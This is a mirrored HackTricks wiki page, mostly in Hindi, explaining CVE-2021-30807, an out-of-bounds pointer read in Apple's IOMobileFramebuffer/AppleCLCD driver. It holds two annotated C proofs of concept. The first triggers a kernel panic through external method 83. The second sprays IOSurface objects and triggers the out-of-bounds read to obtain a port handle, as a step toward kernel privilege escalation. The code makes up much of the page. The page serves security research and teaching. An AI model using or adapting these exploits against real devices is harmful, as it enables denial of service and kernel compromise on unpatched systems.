mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
298 lines
16 KiB
Markdown
298 lines
16 KiB
Markdown
# CVE-2021-30807: IOMobileFrameBuffer OOB
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
|
|
## बग
|
|
|
|
यहाँ [vuln का एक शानदार स्पष्टीकरण](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), लेकिन संक्षेप में:
|
|
|
|
- कमजोर कोड पथ **external method #83** है **IOMobileFramebuffer / AppleCLCD** user client का: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. यह method एक ऐसा parameter प्राप्त करता है जो user द्वारा नियंत्रित होता है, किसी भी तरह से जाँचा नहीं जाता और अगले function को **`scalar0`** के रूप में पास होता है।
|
|
|
|
- वह method आगे फ़ॉरवर्ड करता है **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`** में, जहाँ **`scalar0`** (एक user-controlled **32-bit** value) बिना किसी **bounds check** के एक आंतरिक **pointers के array** में **index** के रूप में उपयोग होता है:
|
|
|
|
> `ptr = *(this + 0xA58 + scalar0 * 8);` → passed to `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` as an **`IOSurface*`**.\
|
|
> **परिणाम:** **OOB pointer read & type confusion** उस array पर। यदि pointer वैध नहीं है, तो kernel deref पैनिक करेगा → **DoS**।
|
|
|
|
> [!NOTE]
|
|
> यह **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1** में फिक्स किया गया था
|
|
|
|
|
|
> [!WARNING]
|
|
> `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` को कॉल करने वाला प्रारम्भिक function entitlement **`com.apple.private.allow-explicit-graphics-priority`** द्वारा सुरक्षित है। हालाँकि, **WebKit.WebContent** के पास यह entitlement है, इसलिए इसे sandboxed process से vuln को trigger करने के लिए प्रयोग किया जा सकता है।
|
|
|
|
## DoS PoC
|
|
|
|
निम्नलिखित मूल ब्लॉग पोस्ट से प्रारम्भिक DoS PoC है, अतिरिक्त टिप्पणियों के साथ:
|
|
```c
|
|
// PoC for CVE-2021-30807 trigger (annotated)
|
|
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
|
|
// Build/run only on devices you own and that are vulnerable.
|
|
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory)
|
|
// https://support.apple.com/en-us/103144
|
|
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807
|
|
|
|
void trigger_clcd_vuln(void) {
|
|
kern_return_t ret;
|
|
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
|
|
|
|
// The "type" argument is the type (selector) of user client to open.
|
|
// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
|
|
// external methods we need (incl. selector 83). If this doesn't work on your
|
|
// build, try different types or query IORegistry to enumerate.
|
|
int type = 2;
|
|
|
|
// 1) Locate the IOMobileFramebuffer service in the IORegistry.
|
|
// This returns the first matched service object (a kernel object handle).
|
|
io_service_t service = IOServiceGetMatchingService(
|
|
kIOMasterPortDefault,
|
|
IOServiceMatching("IOMobileFramebuffer"));
|
|
|
|
if (service == MACH_PORT_NULL) {
|
|
printf("failed to open service\n");
|
|
return;
|
|
}
|
|
|
|
printf("service: 0x%x\n", service);
|
|
|
|
// 2) Open a connection (user client) to the service.
|
|
// The user client is what exposes external methods to userland.
|
|
// 'type' selects which user client class/variant to instantiate.
|
|
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
|
|
if (ret != KERN_SUCCESS) {
|
|
printf("failed to open userclient: %s\n", mach_error_string(ret));
|
|
return;
|
|
}
|
|
|
|
printf("client: 0x%x\n", shared_user_client_conn);
|
|
|
|
printf("call externalMethod\n");
|
|
|
|
// 3) Prepare input scalars for the external method call.
|
|
// The vulnerable path uses a 32-bit scalar as an INDEX into an internal
|
|
// array of pointers WITHOUT bounds checking (OOB read / type confusion).
|
|
// We set it to a large value to force the out-of-bounds access.
|
|
uint64_t scalars[4] = { 0x0 };
|
|
scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup
|
|
|
|
// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
|
|
uint64_t output_scalars[4] = { 0 };
|
|
uint32_t output_scalars_size = 1;
|
|
|
|
printf("call s_default_fb_surface\n");
|
|
|
|
// 5) Invoke external method #83.
|
|
// On vulnerable builds, this path ends up calling:
|
|
// IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
|
|
// → IOMobileFramebufferLegacy::get_displayed_surface(...)
|
|
// which uses our index to read a pointer and then passes it as IOSurface*.
|
|
// If the pointer is bogus, IOSurface code will dereference it and the kernel
|
|
// will panic (DoS).
|
|
ret = IOConnectCallMethod(
|
|
shared_user_client_conn,
|
|
83, // **Selector 83**: vulnerable external method
|
|
scalars, 1, // input scalars (count = 1; the OOB index)
|
|
NULL, 0, // no input struct
|
|
output_scalars, &output_scalars_size, // optional outputs
|
|
NULL, NULL); // no output struct
|
|
|
|
// 6) Check the call result. On many vulnerable targets, you'll see either
|
|
// KERN_SUCCESS right before a panic (because the deref happens deeper),
|
|
// or an error if the call path rejects the request (e.g., entitlement/type).
|
|
if (ret != KERN_SUCCESS) {
|
|
printf("failed to call external method: 0x%x --> %s\n",
|
|
ret, mach_error_string(ret));
|
|
return;
|
|
}
|
|
|
|
printf("external method returned KERN_SUCCESS\n");
|
|
|
|
// 7) Clean up the user client connection handle.
|
|
IOServiceClose(shared_user_client_conn);
|
|
printf("success!\n");
|
|
}
|
|
```
|
|
## Arbitrary Read PoC समझाया गया
|
|
|
|
1. **सही user client खोलना**
|
|
|
|
- `get_appleclcd_uc()` **AppleCLCD** सेवा ढूँढता है और **user client type 2** खोलता है। AppleCLCD और IOMobileFramebuffer समान external-methods table साझा करते हैं; type 2 **selector 83** को एक्सपोज़ करता है, जो vulnerable method है। **यह बग में आपका प्रवेश है।** E_POC/)
|
|
|
|
**क्यों 83 मायने रखता है:** डिकम्पाइल किया हुआ path है:
|
|
|
|
- `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\
|
|
→ `IOMobileFramebufferUserClient::get_displayed_surface(...)`\
|
|
→ `IOMobileFramebufferLegacy::get_displayed_surface(...)`\
|
|
उस आखिरी कॉल के अंदर, कोड **आपके 32-bit scalar को बिना किसी bounds check के array index की तरह इस्तेमाल करता है**, **`this + 0xA58 + index*8`** से एक pointer फेच करता है, और उसे `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` को `IOSurface*` के रूप में पास करता है। **यह OOB + type confusion है।**
|
|
|
|
2. **The heap spray (यहाँ IOSurface क्यों दिखाई देता है)**
|
|
|
|
- `do_spray()` **`IOSurfaceRootUserClient`** का उपयोग करके कई IOSurfaces बनाता है और छोटे मान spray करता है (`s_set_value` style). यह पास के kernel heaps को **valid IOSurface objects के pointers** से भर देता है।
|
|
|
|
- **लक्ष्य:** जब selector 83 legit table से आगे पढ़ता है, तो संभवतः **OOB slot में आपके (real) IOSurfaces में से किसी एक का pointer होगा** — इसलिए बाद में dereference **crash नहीं करेगा** और **सफल होगा**। IOSurface एक क्लासिक, अच्छी तरह documented kernel spray primitive है, और Saar का पोस्ट स्पष्ट रूप से इस exploitation flow में उपयोग किए गए **create / set_value / lookup** methods को सूचीबद्ध करता है।
|
|
|
|
3. **The "offset/8" trick (वास्तव में वह index क्या है)**
|
|
|
|
- `trigger_oob(offset)` में, आप `scalars[0] = offset / 8` सेट करते हैं।
|
|
|
|
- **क्यों 8 से भाग?** Kernel गणना के लिए **`base + index*8`** करता है कि कौन-सा **pointer-sized slot** पढ़ना है। आप **"slot number N"** चुन रहे हैं, न कि byte offset. 64-bit पर **प्रति slot आठ bytes**।
|
|
|
|
- वह गणना किया हुआ address **`this + 0xA58 + index*8`** है। PoC एक बड़ा constant (`0x1200000 + 0x1048`) उपयोग करता है सिर्फ इसलिए कि वह **बहुत दूर OOB** में चले जाए उस region में जिसे आपने **IOSurface pointers से घनीभूत करने की कोशिश की है**। **अगर spray "जीतता" है, तो जिस slot पर आप पहुँचते हैं वह एक वैध `IOSurface*` होगा।**
|
|
|
|
4. **selector 83 क्या return करता है (यह सूक्ष्म हिस्सा है)**
|
|
|
|
- कॉल है:
|
|
|
|
`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0,
|
|
output_scalars, &output_scalars_size, NULL, NULL);`
|
|
|
|
- आंतरिक रूप से, OOB pointer fetch के बाद, driver कॉल करता है\
|
|
**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**।
|
|
|
|
- **परिणाम:** **`output_scalars[0]` आपके task में एक Mach port name (u32 handle) है** उस object pointer के लिए जो आपने OOB के माध्यम से दिया था। **यह raw kernel address leak नहीं है; यह एक userspace handle (send right) है।** यह व्यवहार (एक *port name* कॉपी करना) Saar के decompilation में दिखाया गया है।
|
|
|
|
**यह उपयोगी क्यों है:** जिस (सम्भावित) IOSurface के लिए आपका एक **port name** है, आप अब **IOSurfaceRoot methods** जैसे उपयोग कर सकते हैं:
|
|
|
|
- **`s_lookup_surface_from_port` (method 34)** → पोर्ट को एक **surface ID** में बदलें जिसे आप अन्य IOSurface calls के माध्यम से ऑपरेट कर सकते हैं, और
|
|
|
|
- **`s_create_port_from_surface` (method 35)** यदि आपको उलटा चाहिए।\
|
|
Saar इन सटीक methods को अगले कदम के रूप में बताता है। **PoC यह साबित कर रहा है कि आप OOB slot से एक वैध IOSurface handle "manufacture" कर सकते हैं।** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com)
|
|
|
|
This [PoC was taken from here](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) और चरणों की व्याख्या के लिए कुछ comments जोड़े गए हैं:
|
|
```c
|
|
#include "exploit.h"
|
|
|
|
// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
|
|
io_connect_t get_appleclcd_uc(void) {
|
|
kern_return_t ret;
|
|
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
|
|
int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. ⭐
|
|
// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)
|
|
|
|
// Find the **AppleCLCD** service in the IORegistry.
|
|
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
|
|
IOServiceMatching("AppleCLCD"));
|
|
if(service == MACH_PORT_NULL) {
|
|
printf("[-] failed to open service\n");
|
|
return MACH_PORT_NULL;
|
|
}
|
|
printf("[*] AppleCLCD service: 0x%x\n", service);
|
|
|
|
// Open a user client connection to AppleCLCD with the chosen **type**.
|
|
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
|
|
if(ret != KERN_SUCCESS) {
|
|
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
|
|
return MACH_PORT_NULL;
|
|
}
|
|
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
|
|
return shared_user_client_conn;
|
|
}
|
|
|
|
// Trigger the OOB index path of external method #83.
|
|
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
|
|
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
|
|
uint64_t trigger_oob(uint64_t offset) {
|
|
kern_return_t ret;
|
|
|
|
// The method takes a single 32-bit scalar that it uses as an index.
|
|
uint64_t scalars[1] = { 0x0 };
|
|
scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. ⭐
|
|
|
|
// #83 returns one scalar. In this flow it will be the Mach port name
|
|
// (a u32 handle in our task), not a kernel pointer.
|
|
uint64_t output_scalars[1] = { 0 };
|
|
uint32_t output_scalars_size = 1;
|
|
|
|
io_connect_t appleclcd_uc = get_appleclcd_uc();
|
|
if (appleclcd_uc == MACH_PORT_NULL) {
|
|
return 0;
|
|
}
|
|
|
|
// Call external method 83. Internally:
|
|
// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch
|
|
// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
|
|
// which creates a send right for that object and writes its port name
|
|
// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
|
|
ret = IOConnectCallMethod(appleclcd_uc, 83,
|
|
scalars, 1,
|
|
NULL, 0,
|
|
output_scalars, &output_scalars_size,
|
|
NULL, NULL);
|
|
|
|
if (ret != KERN_SUCCESS) {
|
|
printf("[-] external method 83 failed: %s\n", mach_error_string(ret));
|
|
return 0;
|
|
}
|
|
|
|
// This is the key: you get back a Mach port name (u32) to whatever
|
|
// object was at that OOB slot (ideally an IOSurface you sprayed).
|
|
printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
|
|
return output_scalars[0];
|
|
}
|
|
|
|
// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
|
|
// real IOSurface (easier & stabler than a fully fake object).
|
|
bool do_spray(void) {
|
|
char data[0x10];
|
|
memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.
|
|
|
|
// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
|
|
io_connect_t iosurface_uc = get_iosurface_root_uc();
|
|
if (iosurface_uc == MACH_PORT_NULL) {
|
|
printf("[-] do_spray: failed to allocate new iosurface_uc\n");
|
|
return false;
|
|
}
|
|
|
|
// Create many IOSurfaces and use set_value / value spray helpers
|
|
// (Brandon Azad-style) to fan out allocations in kalloc. ⭐
|
|
int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
|
|
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
|
|
surface_ids[i] = create_surface(iosurface_uc); // s_create_surface
|
|
if (surface_ids[i] <= 0) {
|
|
return false;
|
|
}
|
|
|
|
// Spray small values repeatedly: tends to allocate/fill predictable
|
|
// kalloc regions near where the IOMFB table OOB will read from.
|
|
// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
|
|
if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
|
|
20, 200, // rounds, per-round items
|
|
data, sizeof(data),
|
|
NULL) == false) {
|
|
printf("iosurface spray failed\n");
|
|
return false;
|
|
}
|
|
}
|
|
return true;
|
|
}
|
|
|
|
int main(void) {
|
|
// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
|
|
io_connect_t iosurface_uc = get_iosurface_root_uc();
|
|
if (iosurface_uc == MACH_PORT_NULL) {
|
|
return 0;
|
|
}
|
|
|
|
printf("[*] do spray\n");
|
|
if (do_spray() == false) {
|
|
printf("[-] shape failed, abort\n");
|
|
return 1;
|
|
}
|
|
printf("[*] spray success\n");
|
|
|
|
// Trigger the OOB read. The magic constant chooses a pointer-slot
|
|
// far beyond the legit array (offset is in bytes; index = offset/8).
|
|
// If the spray worked, this returns a **Mach port name** (handle) to one
|
|
// of your sprayed IOSurfaces; otherwise it may crash.
|
|
printf("[*] trigger\n");
|
|
trigger_oob(0x1200000 + 0x1048);
|
|
return 0;
|
|
}
|
|
```
|
|
## संदर्भ
|
|
- [Original writeup by Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/)
|
|
- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC)
|
|
- [Research from jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|